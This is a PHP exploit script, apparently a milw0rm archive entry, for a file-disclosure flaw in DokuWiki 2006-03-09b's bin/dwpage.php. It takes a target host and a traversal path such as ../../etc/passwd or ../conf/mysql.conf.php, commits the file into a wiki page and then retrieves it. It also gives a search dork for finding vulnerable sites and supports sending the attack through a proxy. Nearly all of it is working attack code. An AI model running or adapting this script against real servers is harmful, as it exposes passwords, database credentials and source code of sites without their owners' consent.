DokuWiki 2006-03-09b - 'dwpage.php' System Disclosure

#!/usr/bin/php -q -d short_open_tag=on
<?
print_r('
--------------------------------------------------------------------------------
DokuWiki <= 2006-03-09b release bin/dwpage.php system disclosure exploit
by rgod rgod@autistici.org
site: http://retrogod.altervista.org
dork: "Driven by DokuWiki"
--------------------------------------------------------------------------------
');
/*
works with register_argc_argv = On
*/
if ($argc<4) {
print_r('
--------------------------------------------------------------------------------
Usage: php '.$argv[0].' host path file OPTIONS
host:      target server (ip/hostname)
path:      path to dokuwiki
file:      path to file you want to disclose
Options:
 -p[port]:    specify a port other than 80
 -P[ip:port]: specify a proxy
Example:
php '.$argv[0].' localhost /wiki/ ../../../../../../../../../etc/passwd -P1.1.1.1:80 > out.html
php '.$argv[0].' localhost /wiki/ ../conf/mysql.conf.php -p81 > out.html

then see out.html
--------------------------------------------------------------------------------
');
die;
}
/*
  it uses the same vulnerability of http://retrogod.altervista.org/dokuwiki_2006-03-09b_cmd.html,
  it simply discloses some file contempt, php source code...

*/
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
   $c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
   }
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  #echo "\r\n".$html;
}

$host=$argv[1];
$path=$argv[2];
$myfile=$argv[3];
$port=80;
$proxy="";
for ($i=4; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

$packet="GET ".$p."bin/dwpage.php?-m+\"suntzu\"+commit+$myfile+wiki:suntzu HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (!strstr($html,"200 OK")) {echo "exploit failed...";die;}
sleep(1);
$packet="GET ".$p."doku.php?id=wiki:suntzu HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
echo $html;
?>

# milw0rm.com [2006-09-07]